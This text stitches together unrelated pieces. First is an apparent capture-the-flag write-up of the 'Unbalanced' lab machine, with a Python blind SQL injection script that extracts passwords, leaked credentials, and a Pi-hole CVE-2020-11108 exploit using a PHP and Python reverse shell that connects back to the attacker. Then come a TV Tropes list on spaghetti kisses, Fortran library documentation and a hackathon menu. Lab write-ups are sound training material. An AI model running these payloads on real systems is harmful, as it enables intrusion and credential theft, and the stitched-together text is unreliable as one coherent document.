cachemgr_passwd Thah$Sh1 menu pconn mem diskd fqdncache filedescriptors objects vm_objects counters 5min 60min histograms cbdata sbuf events
cachemgr_passwd disable all
...
According to squid-cach.org, we actually have another password.
We should be able access the squid’s cache management system with this password.
Allowed to access internal servers
It is defined at line 1410 which domains or ips are allowed to be accessed through http:
$ tail -n+1410 squid.conf | head -n 10
# Allow access to intranet
acl intranet dstdomain -n intranet.unbalanced.htb
acl intranet_net dst -n <IP_ADDRESS>/12
http_access allow intranet
http_access allow intranet_net
...
As we can see, through the domain name, we can only access intranet.unbalanced.htb. Let’s access it.
Setting our proxy (FoxyProxy is used here)
But before accessing, let’s set our http proxy to the squid. Here is my FoxyProxy settings
After setting the proxy up, let’s access the intranet:
It’s a login page! We will come back to it later. Remember that we are not only given with accessible domain but also with accessible range of IP. We also need to check them first
Squid Management Enumeration
Let’s now check the actions we can do with the squid cache manager with the password we have (password: Thah$Sh1). Let’s use the squidclient cli to tinker with the squid cache manager.
Let’s check first the menu.
squidclient -h <IP_ADDRESS> -w 'Thah$Sh1' mgr:menu
HTTP/1.1 200 OK
Server: squid/4.6
Mime-Version: 1.0
Date: Sat, 05 Dec 2020 15:38:38 GMT
Content-Type: text/plain;charset=utf-8
Expires: Sat, 05 Dec 2020 15:38:38 GMT
Last-Modified: Sat, 05 Dec 2020 15:38:38 GMT
X-Cache: MISS from unbalanced
X-Cache-Lookup: MISS from unbalanced:3128
Via: 1.1 unbalanced (squid/4.6)
Connection: close
index Cache Manager Interface disabled
menu Cache Manager Menu protected
offline_toggle Toggle offline_mode setting disabled
shutdown Shut Down the Squid Process disabled
reconfigure Reconfigure Squid disabled
rotate Rotate Squid Logs disabled
pconn Persistent Connection Utilization Histograms protected
mem Memory Utilization protected
...
...
cbdata Callback Data Registry Contents protected
sbuf String-Buffer statistics protected
events Event Queue protected
netdb Network Measurement Database disabled
asndb AS Number Database disabled
...
As we can see, our access is pretty limited. What we can access here (with “protected”) is also defined in the squid.conf that we retrieved earlier. Let’s start checking them
Squid “fqdncache” to check any internal server
After a lot of checking, the action that should give us the most valuable info is the “fqdncache”.
$ squidclient -h <IP_ADDRESS> -w 'Thah$Sh1' mgr:fqdncache
HTTP/1.1 200 OK
Server: squid/4.6
Mime-Version: 1.0
...
...
Address Flg TTL Cnt Hostnames
<IP_ADDRESS> H -001 2 unbalanced.htb unbalanced
::1 H -001 3 localhost ip6-localhost ip6-loopback
<IP_ADDRESS> H -001 1 intranet-host2.unbalanced.htb
<IP_ADDRESS> H -001 1 intranet-host3.unbalanced.htb
<IP_ADDRESS> H -001 1 localhost
<IP_ADDRESS> H -001 1 intranet.unbalanced.htb
ff02::1 H -001 1 ip6-allnodes
ff02::2 H -001 1 ip6-allrouters
We can see here that there are more domain to IP mapping are present for internal servers! We should also notice that there is the intranet.unbalanced.htb that we are allowed to access as it is, a domain name, earlier at squid.conf. Also notice the intranet-host[2-3].unbalanced.htb domain names are not defined in squid.conf! But they are technically allowed through the allowed IP address range.
Intranet Login
Let’s go back to the intranet login. Let’s just put “admin” as username and “password” as credentials just to check its behavior.
After submitting, nothing seems to happen. It’s as if the intranet login portal did not respond to our login. No prompt if we got the credentials correct or not. Let’s check the http response headers.
Notice that the responding server is the intranet-host2.unbalanced.htb and not intranet.unbalanced.htb. It might mean that the infrastructure may be using Load Balancer to pass the requests from the intranet.unbalanced.htb to the other servers which are intranet-host2.unbalanced.htb and intranet-host3.unbalanced.htb. However, if there is host2 and host3, there must be a host1. Let’s try accessing that.
Accessing “intranet-host1.unbalanced.htb”
The domain name itself is not defined but remember that we can access the servers themselves through the IP address since we are allowed by Squid http proxy. If <IP_ADDRESS> = intranet-host2.unbalanced.htb and <IP_ADDRESS> = intranet-host3.unbalanced.htb, then there is a high possibility that <IP_ADDRESS> = intranet-host1.unbalanced.htb. Let’s access the <IP_ADDRESS>
Host1 actually exists! However, there is no intranet login. One step back, we can see that the url changes when we try to access intranet.unbalanced.htb. We are being redirected to /intranet.php
Now let’s just try accessing the intranet.php in <IP_ADDRESS>. (http://<IP_ADDRESS>/intranet.php)
After accessing, indeed the intranet.php page exists but there seems to be no difference than the other servers. Let’s now try logging in and check if we can now receive a different response this time. (still “admin” as username and “password” as password)
There is now a login response! Let’s now tinker this login form if it has a vulnerability or if we can use our credentials earlier (although we don’t have a legitimate username)
Blind SQLi against server <IP_ADDRESS> Form
We first need to fuzz for SQL Injection vulnerability that might be existing in the form. We will be using burp in this.
Let’s first set our Upstream Proxy Servers to Squid Proxy(<IP_ADDRESS> - 3128)
Then let’s intercept the login and then send to Repeater
After we send it to Repeater, paste the whole requests to Intruder -> Positions
Then we will get our SQLi fuzz list from here. Then past it to Intruder -> Payloads
Then we can “Start Attack”. After it is finished, we will be checking the length of response.
Out of these, there are only 3 lengths: 7079, 7185, and 7852. We are of most concern with with the largest since if we managed to leak data, it goes to say that the length of data expected to be received is also larger or longer. So let’s check the response of the intranet login portal by redoing the payload at Password (remember the position at the left - it is a value of 2) in the login page with payload 1’or’1’=’1.
Leaking passwords for every user
From the payload we have used, we know that the resulting query is true since it is leaking all the usernames and false when the data length is low. We can leak the password by having a conditional: <nth character of Password = x> AND Username=<username>. This will convert to the following blind sqli payload: ’ or substring(Password, {}, 1) = {} and Username=’{}’ and ‘a. I created a python script to automate it.
import string
import sys
import requests
proxies = {
"http" : "http://<IP_ADDRESS>:3128"
}
def blind_attack(user, printable, pass_index):
global proxies
if printable == "'":
char = '"\'"'
else:
char = "'{}'".format(printable)
exploit_str = "' or substring(Password, {}, 1) = {} and Username='{}' and 'a".format(pass_index, char, user)
data = {
"Username" : user,
"Password" : exploit_str
}
resp = requests.post("http://<IP_ADDRESS>/intranet.php", data=data, proxies=proxies)
if "Invalid" in resp.text:
return False
return printable
def print_status(user, accumulated, current, total, curr_char):
print("[{} - {}] {} --> {}/{}".format(user, curr_char, accumulated, current, total), end="\r")
user_file = sys.argv[1]
with open(user_file, "r") as rf:
users = rf.read().strip().split("\n")
accumulated_pass = {}
for user in users:
accumulated_pass[user] = ""
pass_index = 1
count = 0
while count < len(string.printable[:-5]):
print_status(user,accumulated_pass[user], count+1, len(string.printable[:-5]), string.printable[count])
printable = string.printable[count]
ret_char = blind_attack(user, printable, pass_index)
if ret_char != False:
accumulated_pass[user] += ret_char
pass_index += 1
count = 0
continue
count += 1
print("")
print(accumulated_pass)
We managed to leak usernames! Nice! However, we can take this further by leaking the passwords. We can get the usernames as a list. We can run the code as follows:
$ python3 blind.py usernames.txt
[rita - ] password01! --> 95/95
[jim - ] stairwaytoheaven --> 95/95
[bryan - ] ireallyl0vebubblegum!!! --> 95/95
[sarah - ] sarah4evah --> 95/95
We now have our passwords! Let’s use them with the ssh!
User Bryan
The one that worked was actually bryan’s (bryan:ireallyl0vebubblegum!!!)
$ ssh<EMAIL_ADDRESS><EMAIL_ADDRESS>password:
Linux unbalanced 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat Dec 5 07:36:55 2020 from <IP_ADDRESS>
bryan@unbalanced:~$
At this point, we can get the user flag.
bryan@unbalanced:~$ ls -la
total 32
drwxr-xr-x 3 bryan bryan 4096 Jun 17 11:35 .
drwxr-xr-x 3 root root 4096 Jun 17 11:35 ..
lrwxrwxrwx 1 root root 9 Apr 3 2020 .bash_history -> /dev/null
-rw-r--r-- 1 bryan bryan 220 Apr 2 2020 .bash_logout
-rw-r--r-- 1 bryan bryan 3526 Apr 2 2020 .bashrc
drwx------ 3 bryan bryan 4096 Apr 2 2020 .gnupg
-rw-r--r-- 1 bryan bryan 807 Apr 2 2020 .profile
-rw-r--r-- 1 bryan bryan 798 Jun 17 11:35 TODO
-rw-r--r-- 1 root root 33 Dec 5 06:48 user.txt
bryan@unbalanced:~$
Bryan’s Home “TODO”
Once at the home directory, there is an interesting file named “TODO”
bryan@unbalanced:~$ cat TODO
############
# Intranet #
############
* Install new intranet-host3 docker [DONE]
* Rewrite the intranet-host3 code to fix Xpath vulnerability [DONE]
* Test intranet-host3 [DONE]
* Add intranet-host3 to load balancer [DONE]
* Take down intranet-host1 and intranet-host2 from load balancer (set as quiescent, weight zero) [DONE]
* Fix intranet-host2 [DONE]
* Re-add intranet-host2 to load balancer (set default weight) [DONE]
- Fix intranet-host1 [TODO]
- Re-add intranet-host1 to load balancer (set default weight) [TODO]
###########
# Pi-hole #
###########
* Install Pi-hole docker (only listening on <IP_ADDRESS>) [DONE]
* Set temporary admin password [DONE]
* Create Pi-hole configuration script [IN PROGRESS]
- Run Pi-hole configuration script [TODO]
- Expose Pi-hole ports to the network [TODO]
bryan@unbalanced:~$
Bryan is setting up Pi-hole. We can check if the Pi-hole is still up or accepting connections
Check if PiHole is open and operating
Open ports looking for Pi-Hole
Since netstat is not available, we can use ss -lnt command. -l is for listening, -n is for numbers only, and -t is for tcp;
bryan@unbalanced:~$ ss -lnt
State Recv-Q Send-Q Local Address:Port Peer Address:Port
LISTEN 0 5 <IP_ADDRESS>:873 <IP_ADDRESS>:*
LISTEN 0 128 <IP_ADDRESS>:8080 <IP_ADDRESS>:*
LISTEN 0 128 <IP_ADDRESS>:5553 <IP_ADDRESS>:*
LISTEN 0 32 <IP_ADDRESS>:53 <IP_ADDRESS>:*
LISTEN 0 128 <IP_ADDRESS>:22 <IP_ADDRESS>:*
LISTEN 0 128 *:3128 *:*
LISTEN 0 5 [::]:873 [::]:*
LISTEN 0 32 [::]:53 [::]:*
LISTEN 0 128 [::]:22 [::]:*
bryan@unbalanced:~$
There seems to be an port 8080, might be a webpage or the Pi-hole web UI. Let’s do a quick curl.
bryan@unbalanced:~$ curl http://localhost:8080 ; echo
[ERROR]: Unable to parse results from queryads.php: Unhandled error message (Invalid domain!)
bryan@unbalanced:~$
It is responding to http. Let’s use the SSH tunneling.
Using SSH tunneling for http port 8080
$ ssh<EMAIL_ADDRESS>-L 8080:<IP_ADDRESS>:8080 -N
<EMAIL_ADDRESS>password:
Let’s now access it through the browser.
It turns out we need to append “/admin” to get to pi-hole admin interface. SOURCE
Pi-hole Login
After appending the “/admin” we should now be able to get to login page admin by clicking on the login from the left side.
Let’s try “admin” for password.
LOL it worked!
Pi-hole exploit - CVE-2020-11108
After logging in and a little bit of searching, it turns out there is a Pi-hole exploit available for versions below 4.4. Checking the current version:
This version is vulnerable!
Getting the PHPSESSID
We have to get first the PHPSESSID from the cookies assigned to use by the server. It will be needed by the POC
Changed payload from python3 to bash
After downloading the exploit and execute it, no response from the server. So I had changed the payload from python3 to bash
...
# Payload taken from http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
# I opted to use the Python3 reverse shell one liner over the full PHP reverse shell.
#shell_payload = """<?php
# shell_exec("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\"%s\\\",%s));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\\"/bin/sh\\",\\"-i\\"]);'")
#?>
#""" %(LOCAL_IP, LOCAL_PORT)
shell_payload = """<?php
$sock=fsockopen("{}",{});
exec("bash -i <&3 >&3 2>&3");
?>
""".format(LOCAL_IP, LOCAL_PORT)
...
Save it and then reexecute the code. Just make sure that there is a listener on our side. I used netcat for it. The execution of exploit with new payload:
sudo python3 48443_orig.py 7bfnctcni8uou4c0sb9davv863 'http://localhost:8080' <IP_ADDRESS> 40000
[+] Put Root Stager Success
[+] Received First Callback
[+] Received Second Callback
[+] Uploading Root Payload
[+] Put Shell Stager Success
[+] Received Third Callback
[+] Received Fourth Callback
[+] Uploading Shell Payload
[+] Triggering Exploit
And this is what will be expected on the listener side
$ nc -lvp 40000
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::40000
Ncat: Listening on <IP_ADDRESS>:40000
Ncat: Connection from <IP_ADDRESS>.
Ncat: Connection from <IP_ADDRESS>:39560.
bash: cannot set terminal process group (527): Inappropriate ioctl for device
bash: no job control in this shell
root@pihole:/var/www/html/admin/scripts/pi-hole/php# whoami
whoami
root
Pi-hole Docker as root
Even though we are root, this is not the actual host. So we need to enumerate for leverage.
Getting password from pi-hole config in home
At the home directory of root there is a config file containing a password.
root@pihole:/var/www/html/admin/scripts/pi-hole/php# cd
cd
root@pihole:~# ls -la
ls -la
total 132
drwxrwxr-x 1 root root 4096 Apr 5 2020 .
drwxr-xr-x 1 root root 4096 Jul 30 05:13 ..
lrwxrwxrwx 1 root root 9 Apr 4 2020 .bash_history -> /dev/null
-rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rw-r--r-- 1 root root 113876 Sep 20 2019 ph_install.sh
-rw-r--r-- 1 root root 485 Apr 6 2020 pihole_config.sh
root@pihole:~# cat pihole_config.sh
cat pihole_config.sh
#!/bin/bash
# Add domains to whitelist
/usr/local/bin/pihole -w unbalanced.htb
/usr/local/bin/pihole -w rebalanced.htb
# Set temperature unit to Celsius
/usr/local/bin/pihole -a -c
# Add local host record
/usr/local/bin/pihole -a hostrecord pihole.unbalanced.htb <IP_ADDRESS>
# Set privacy level
/usr/local/bin/pihole -a -l 4
# Set web admin interface password
/usr/local/bin/pihole -a -p 'bUbBl3gUm$43v3Ry0n3!'
# Set admin email
/usr/local/bin/pihole -a email<EMAIL_ADDRESS>root@pihole:~#
The password is bUbBl3gUm$43v3Ry0n3!. Let’s try using it to login as root against the host machine.
SU Login to root from bryan
Let’s try logging in as bryan first then switch user to root.
$ ssh<EMAIL_ADDRESS><EMAIL_ADDRESS>password:
Linux unbalanced 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat Dec 5 13:23:22 2020 from <IP_ADDRESS>
bryan@unbalanced:~$ su root
Password:
root@unbalanced:/home/bryan# cd
root@unbalanced:~# ls -la
total 36
drwx------ 6 root root 4096 Apr 6 2020 .
drwxr-xr-x 18 root root 4096 Jun 17 14:08 ..
lrwxrwxrwx 1 root root 9 Apr 3 2020 .bash_history -> /dev/null
-rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc
drwx------ 3 root root 4096 Apr 3 2020 .config
drwx------ 3 root root 4096 Apr 2 2020 .gnupg
drwxr-xr-x 3 root root 4096 Apr 3 2020 .local
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rw------- 1 root root 33 Dec 5 06:48 root.txt
drwx------ 2 root root 4096 Apr 6 2020 .ssh
root@unbalanced:~#
We now have pwned the machine! Thank you for reading :D
Sources:
- https://discourse.pi-hole.net/t/how-do-i-access-pi-holes-dashboard-admin-interface/3168
- https://www.exploit-db.com/exploits/48443
- https://www.exploit-db.com/exploits/48442
- http://squid-web-proxy-cache.1019090.n4.nabble.com/How-to-run-squidclient-td4670539.html
-<EMAIL_ADDRESS>- https://www.speedguide.net/port.php?port=873
- https://www.digitalocean.com/community/tutorials/how-to-use-rsync-to-sync-local-and-remote-directories
- https://security.stackexchange.com/questions/98205/breaking-encfs-given-encfs6-xml
- https://wiki.archlinux.org/index.php/EncFS#User_friendly_mounting


{% include head_about.html %}
{% include header_about.html %} {% include page_content_about.html %} {% include contact.html %} {% include footer.html %} {% include js.html %}


A parody of a scene from Disney's animated film Lady and the Tramp, where the titular characters shared a plate of spaghetti. The two canine lovers, distracted by a romantic serenade, ended up chewing opposite ends of the same noodle and accidentally nibbled their way into a kiss. Sometimes a parody of the next beat (Tramp nudging the last meatball over to Lady with his nose) is also included.
The contact of mouths caused by chewing the same food item is what makes this trope, so the edible item can be almost anything. Hotdogs, waffles, noodles, as well as other types of long pasta like fettuccine and linguine will do, as long as two lovers can nibble on the same item from opposite ends. Works originating from Japan usually invoke the trope by using Pocky sticks, a special kind of stick biscuit dipped in either chocolate or strawberry flavor, and of course, Japanese noodles (ramen, soba and such).
See also Sweetheart Sipping, if it is a drink that is shared by the lovers, or Date Crêpe, for a different kind of date meal.
Examples:
- In this Barilla pasta commercial, a couple first fails at this (spaghetti breaks) before succeeding (by using Barilla spaghetti of course.)
- Aoi House covered this one, too, with hamster Echiboo and pig Luna-P. Aoi House covers a lot of parody tropes.
- This happens between Saga and Sugar in the opening titles of A Little Snow Fairy Sugar.
- Yomi and Kagura end up sharing a pocky this way in Ga-Rei -Zero-.
- Starts to happen between Keita and Riko in kiss×sis. Ako puts a stop to that fairly quickly.
- Invoked (with yakisoba) by the titular character of My Wife Is a High School Girl to seduce her husband.
- The Pokémon episode "A Fork In The Road! A Parting Of The Ways!" includes a shot of two Wobbuffets (one of them Jessie's) interacting in this manner.
- Korean comic Asaekkiga turns this trope into a terrifying game of chicken.◊
- Also done by two dogs near the end of the Jommeke album "Tobias Snuffel".
- An Archie Comics story about the very first kiss between a male and a female had prehistoric versions of Archie and Betty lock lips while eating the same date palm. (Narrator Dilton also cites this event as the reason couples go out on "dates".)
- Axis Powers Hetalia fanfic Cucinando
Sōkoku?: Romano had the misfortune of witnessing one between Italy and Japan first-hand.
A certain infamous spaghetti scene was playing out before Romano in real life and real time except for a few differences; it was taking place inside of a building instead of being outside, the spaghetti appeared to have a foreign influence with the fulvous threads containing fish sprinkled with black herbs and enoki instead of being purely Italian, and there were two guysa certain little brother and a certain Japanese manon either end of the strand instead of two pooches of the opposite gender. Oh, and the kiss resulting from the eating of said strand was far more deliberate. What had Romano just walked in on?!
- Disney even incorporated a redux of this scene into Lady and the Tramp's own direct-to-video sequel. It actually includes the meatball bit but not the iconic spaghetti-strand kiss.
- Timon and Pumbaa accidentally kiss each other while eating a worm in a scene from The Lion King 1½. They aren't happy about that.
- Kronk's New Groove had a scene like this between Kronk and Ms. Birdwell.
- Parodied with slugs in a blink-and-you'll-miss-it moment in the 2006 film Flushed Away.
- in Balto, Steele suggests doing this with a chain of stolen sausages while unsuccessfully flirting with Jenna.
Steele: You start on one end, I'll start on the other. When we get to the middle, well...
- In 102 Dalmatians, when Kevin and Chloe go out on a date, we cut between their dogs at home, watching this scene in 'Lady and the Tramp', and them on their date, sharing spaghetti the same way.
- Disney also did a parody of it in the made-for-TV remake of The Shaggy Dog, with the guy (in the sheepdog body), wondering why his sharing a plate of spaghetti with another dog seemed so familiar. A major difference is that it's cold spaghetti from the trash, which disgusts the guy/sheepdog after the kiss.
- Abbott And Costello Meet The Invisible Man played with the trope. Lou (Costello) and the titular invisible man ended up sharing a plate of spaghetti in a non-romantic way (both were just hungry and the Invisible Man didn't have his own meal since it's hard to order a meal when you're invisible). They ended up on the same strand but before it could lead to a kiss Lou cut the strand in half with his fingers. It should be noted that this movie predated "Lady and the Tramp" by four years so the scene wasn't a reference.
- Hot Shots! Part Deux: To make it even sillier, Charlie Sheen also does the meatball bit... yes, with his nose.
- Garth and his GF in Wayne's World 2, with a liquorice wheel.
- A Fairly Odd Movie: Grow Up, Timmy Turner! has this almost happening between Crocker and Magnate.
Crocker: I didn't plan that.
- A scene where Eddie is shared by the two T. Rexes in The Lost World plays off like this, only gorier.
- Der Wixxer parodies this: in a flashback, Inspector Even Longer almost spaghetti-kisses Inspector Rather Short.
- The two MUTOs from Godzilla (2014), with a nuke!
- A season 4 episode of Once Upon a Time has a pair of extras doing this in the Establishing Shot of the restaurant where Killian/Hook takes Emma on a date.
- Full House: Lampshaded because Joey's doing it with his date, and he freely admits he's imitating the scene because he thinks it's romantic.
- In a first season episode of Gilmore Girls, Rory brings a meatball home from a date with Dean after Lorelai starts babbling to her about the spaghetti kiss.
- Hal and Lois of Malcolm in the Middle do this with kielbasa during an eating contest.
- In the Wizards of Waverly Place episode "Wizards vs. Werewolves", Alex and Mason attempt to do this with a sub sandwich, since Alex thought it would be romantic. When Mason points out how gross it is, they decide to skip straight to the kiss, before being rudely interrupted when Harper alerts Theresa.
- Appeared once or twice in Whose Line Is It Anyway?, whenever a game of Helping Hands involved spaghetti as a prop.
- Brittany from Glee practices this when she thinks she'll be going to a restaurant with Artie (although she truly wants to go with Santana). Leads to a Tear Jerker when she pushes the meatball with her nose to... no one, because Artie dumps her and Santana is mad at her.
- Friends: Joey does this with his date in a Valentine's Day Episode.
- In the Clarissa Explains It All episode where Sam develops a crush on Clarissa, she has an Imagine Spot featuring this.
- Michael and his then-boyfriend David had one in season 1 of Queer as Folk.
- The Suite Life of Zack and Cody: London tries to spaghetti-kiss her date, but Maddie pulls her away with the spaghetti still in her mouth.
- In The Wonder Years, with Kevin's friend, Chuck and his new girlfriend Alice perform this kiss. Adult Kevin calls them both Lady and the Tramp.
- In a sketch on MADtv that spoofs Rachael Ray's show $40 a Day, a very drunk Rachael forces an unwilling waiter to do a Spaghetti Kiss with her.
- A background gag in an episode of Shake it Up has Cece and Rocky almost share a Spaghetti Kiss while eating a giant meatball half-asleep. They then wake up, realize what they were doing and pull away in disgust.
- The Broad City episode "Coat Check" has an intentional example, with Ilana and Adele sharing a cannoli by biting opposite ends of it.
- In the music video for Avril Lavigne's Girlfriend, Avril's love interest and his girlfriend attempt to do this with... something. Subverted as Avril's character interrupts them before they manage to kiss.
- Done with a twist in Kevin and Kell.
- Questionable Content mentions that Marten's parents met by snorting opposite ends of a line of cocaine, and meeting in the middle.

- Brawl in the Family:
- Attempted in the third printed volume, where Adeleine tries to give the other end of her noodle to Meta Knight to do it. (Whether they end up kissing or not is left ambiguous.)
- Parodied in Waluigi Triloigi, where a cat-Waluigi and a female dog share a noodle...
- Dinosaur Comics refers to it as "third base."
- Invoked but averted in Housepets!, when Tarot takes Peanut to an Italian restaurant in a dimension where animals are quadrupedal, specifically to recreate the scene. But the restaurant is out of spaghetti, so they get rigatoni instead. And then admit that neither of them has actually seen Lady and the Tramp anyway.
- It was done on the Tequila Taco Night episode of Epic Meal Time, where two girls share a strip of... Uh... Something.
- One fanvid for "I Kissed a Girl and I Liked it" shows a Japanese girl trying to do this to her boyfriend. He just slurps the licorice they were sharing instead of eating to the middle like she did.
- This blog's cartoon tries some more species-appropriate versions— including two sharks working on a hapless swimmer.
- deviantART artist PokemonFromHell's gallery includes a drawing of two Luvdisc doing this...with the "spaghetti" in question being the intestines of a third, dead Luvdisc.
- Lampshaded but ultimately subverted when Jaiden Animations threw her pet parrot Ari his third birthday—Ari had made another bird friend named Baby Jim and the two had a playdate for the party. At one point, both birds start eating the same strand of spaghetti and Jaiden immediately acknowledges the resemblance to Lady and the Tramp. Then, Ari takes the rest of the spaghetti and flies off.
- Referenced but not actually done in Teacher's Pet. Leonard tries to pay a restaurateur to serve his dog Spot and his girlfriend spaghetti out back so they can reenact the scene. The restaurateur replies that he would lose his license if he did that and, furthermore, "Dogs do not have lips!"
- Disney included another parody of it in House of Mouse, with vaguely-canine-y-people Max Goof and his girlfriend, Roxanne. In fact, the spaghetti scene was referenced and parodied several times on House of Mouse by Lady and the Tramp themselves — if the two showed up at all in an episode, it was only to eat spaghetti and usually get interrupted while trying to do the Spaghetti Kiss.
- Several years prior to that one, Disney did it again in the DuckTales (1987) episode where Scrooge gets amnesia; in his case, it happens when he and Fenton's mom go out for pizza.
- Invoked in the reboot, Huey and Webby set up a fancy dinner for Fenton and Gandra for their evening in the lab, much to Fenton's annoyance. While getting rid of everything the two brought, Fenton discovers that the plate of spaghetti they made has all the noodles tied together. Huey explains they did that hoping it would result in this.
- Yet another Disney parody in an episode of Recess where Mikey becomes friends with the school bully Kurst 'the Worst'. Once it's clear that they're sharing the same strand, Kurst belches and her end falls from her mouth, leaving Mikey to finish it.
- This is almost done in the Phineas and Ferb Special "Summer Belongs to You"... with Buford and Baljeet. It only earns a shocked expression from the two and the plate of spaghetti being thrown onto Baljeet's head.
- The Simpsons parodied it numerous times:
- Santa's Little Helper and his girlfriend She's The Fastest do it...then start growling and fighting over the spaghetti.
- Mr. Burns does it with his girlfriend, but it's revealed that Homer, hiding nearby, is the one slurping Burns' spaghetti for him.
- And again, with Homer and Marge as dogs...
- In a Season 5 episode, it was done with a chili dog instead of spaghetti.
- In season 28, Homer has dinner with his neighbor Julia. Everyone thinks he's cheating on Marge, but him and Julia insist they are just friends. Luigi sets them out a plate of spaghetti for them as a way to test them.
- Rugrats in Paris has Spike and Fifi the poodle doing this with overly gooey pizza cheese taking the place of spaghetti.
- Parodied in Family Guy:
- Brian, in the midst of a "civil rights for dogs" tear, walks in on this scene and chews out both participants for "acting the way they want you to".
- In a later episode, Quagmire is out on an actually romantic date. He ends up pushing the last meatball with his nose.
- One taken directly from L&TT, but with Michael Vick added.
- Occurs in the Christmas Special Christopher The Christmas Tree, with a skunk and a squirrel eating opposite ends of a string of popcorn. The skunk goes in for another kiss, but the squirrel jumps out of the way just in time.
- Parodied in the Happy Tree Friends Halloween short "Remains To Be Seen" with Cuddles and Giggles. The twist is that they're both zombies, and they're slurping a brain.
- Done to a point in Kung Fu Panda: Legends of Awesomeness, as a snow leopard tries to get Po to fall for her to get an invite to rob the Jade Palace. He doesn't notice and ends up with her whole head in his mouth.
- Scooby-Doo and Shaggy do this at the end of the What's New, Scooby-Doo? episode "Pompeii And Circumstance." They are repulsed by the result.
- They do it again in the Scooby-Doo! Mystery Incorporated episode "The Devouring" while sharing a submarine sandwich. They don't look at all disgusted this time, instead acting coy.
- Parodied in Drawn Together where Captain Hero falls in love with Clara's mentally challenged cousin, Bleh, and goes on a date with her. When Captain Hero and Bleh are at the carnival, she drools on their spaghetti and Captain Hero unwittingly grabs the saliva strand with his fork and slurps it like a noodle until he reaches her lips and they kiss.
- Salmon-Leela and Salmon-Fry share such a kiss in the Futurama Naturama where the strand of spaghetti is a marine worm instead.
- Adventure Time: Happens with Little Finn and Little Flame Princess when Finn gives them a cookie to share in "All the Little People".
- Hey Arnold!:
- One episode has Arnold have an Imagine Spot of him and Lila at the Cheese Festival doing this with a piece of string cheese.
- A more creative instance occurs in "Married", where Helga's dream of marriage to Arnold ends with them passionately kissing once they reach the middle of a shared pastrami sandwich; unlike most instances, they are looking at each other the whole time and seem fully aware of what they're doing, making the moment also look like a kind of G-rated food foreplay.
- Parodied and Subverted in the Totally Spies! episode "Silicon Valley Girls"; in a Funny Foreground Event, Clover and Alex notice the single strand of spaghetti connecting to each other's lips, but they just stop right there.
- Almost happen in Bojack Horseman when Mr. Peanutbutter and Pickles were eating in Kiki's french cuisine, while trying to have a causal non-romantic hangout.
- It is alluded in The Dragon Prince in one of the credit drawings which Zym and Bait are doing it
- In Steven Universe, Greg was so into a car he had his eye on, a Photo Montage shows him attempting a spaghetti kiss with it, but gets interrupted when a car salesman sics the police on him.

- Bright Mac and Pear Butter from My Little Pony: Friendship Is Magic have one when theyre sipping on a milkshake in The Perfect Pear.
- Parodied in The Amazing World of Gumball episode "The Bros", where Gumball and Penny almost pull off the kiss before the camera cuts to reveal Drawin is actually sucking on the other ends of the spaghetti strands that were in their mouths.
- Parodied in the Danger Mouse episode "The World is Full of Stuff", as part of a Ship Tease: DM and Professor Squawkencluck are both horrified when a camera that creates pictures of the future shows them kissing. To take their minds off it, they both start eating liquorice rope. They realize it's the same liquorice rope just before their lips touch, and recoil in horror.
- Muppet Babies (2018): In "Wock-a-Bye Fozzie", the babies watch a movie called The Wacky Alpacas Eat Spaghetti 2 during their first sleepover at Miss Nanny's house. The movie ends with the titular Wacky Alpacas doing this after finally getting to enjoy a spaghetti dinner, which gets gobbled up by the same flock of pigeons that ate the first one.
- In the The Loud House episode, "Feast or Family", Charles and Cliff do this when they are served Mr. Loud and Luan's Lynn-guine.
- In the Rocko's Modern Life episode, "Clean Lovin'", Spunky falls in love with Rocko's mop, and fantasizes about having a spaghetti dinner with it.


Various functionalities are implemented as additional methods of the preconditioner object.
call p%dump(info[,istart,iend,prefix,head,ac,rp,smoother,solver,global_num])
Dump on file.
Arguments
info | integer, intent(out). |
| Error code. If no error, 0 is returned. See Section 8 for details. |
amold | class(psb_x_base_sparse_mat), intent(in), optional. |
| The desired dynamic type for internal matrix components; this allows e.g. running on GPUs; it needs not be the same on all processes. See the PSBLAS User’s Guide for details [13]. |
call p%clone(pout,info)
Create a (deep) copy of the preconditioner object.
Arguments
pout | type(mld_xprec_type), intent(out). |
| The copy of the preconditioner data structure. Note that x must be chosen according to the real/complex, single/double precision version of MLD2P4 under use. |
info | integer, intent(out). |
| Error code. If no error, 0 is returned. See Section 8 for details. |
sz = p%sizeof()
Return memory footprint in bytes.
call p%allocate_wrk(info[, vmold])
Allocate internal work vectors. Each application of the preconditioner uses a number of work vectors which are allocated internally as necessary; therefore allocation and deallocation of memory occurs multiple times during the execution of a Krylov method. In most cases this strategy is perfectly acceptable, but on some platforms, most notably GPUs, memory allocation is a slow operation, and the default behaviour would lead to a slowdown. This method allows to trade space for time by preallocating the internal workspace outside of the invocation of a Krylov method. When using GPUs or other specialized devices, the vmold argument is also necessary to ensure the internal work vectors are of the appropriate dynamic type to exploit the accelerator hardware; when allocation occurs internally this is taken care of based on the dynamic type of the x argument to the apply method.
Arguments
info | integer, intent(out). |
| Error code. If no error, 0 is returned. See Section 8 for details. |
vmold | class(psb_x_base_vect_type), intent(in), optional. |
| The desired dynamic type for internal vector components; this allows e.g. running on GPUs. |
call p%free_wrk(info)
Deallocate internal work vectors.
Arguments
info | integer, intent(out). |
| Error code. If no error, 0 is returned. See Section 8 for details. |


//BostonHacks 2015
Live
☰
HOME
MAP
SCHEDULE
PRIZES
SPONSORS
TRAVEL
FAQ
SPONSORS
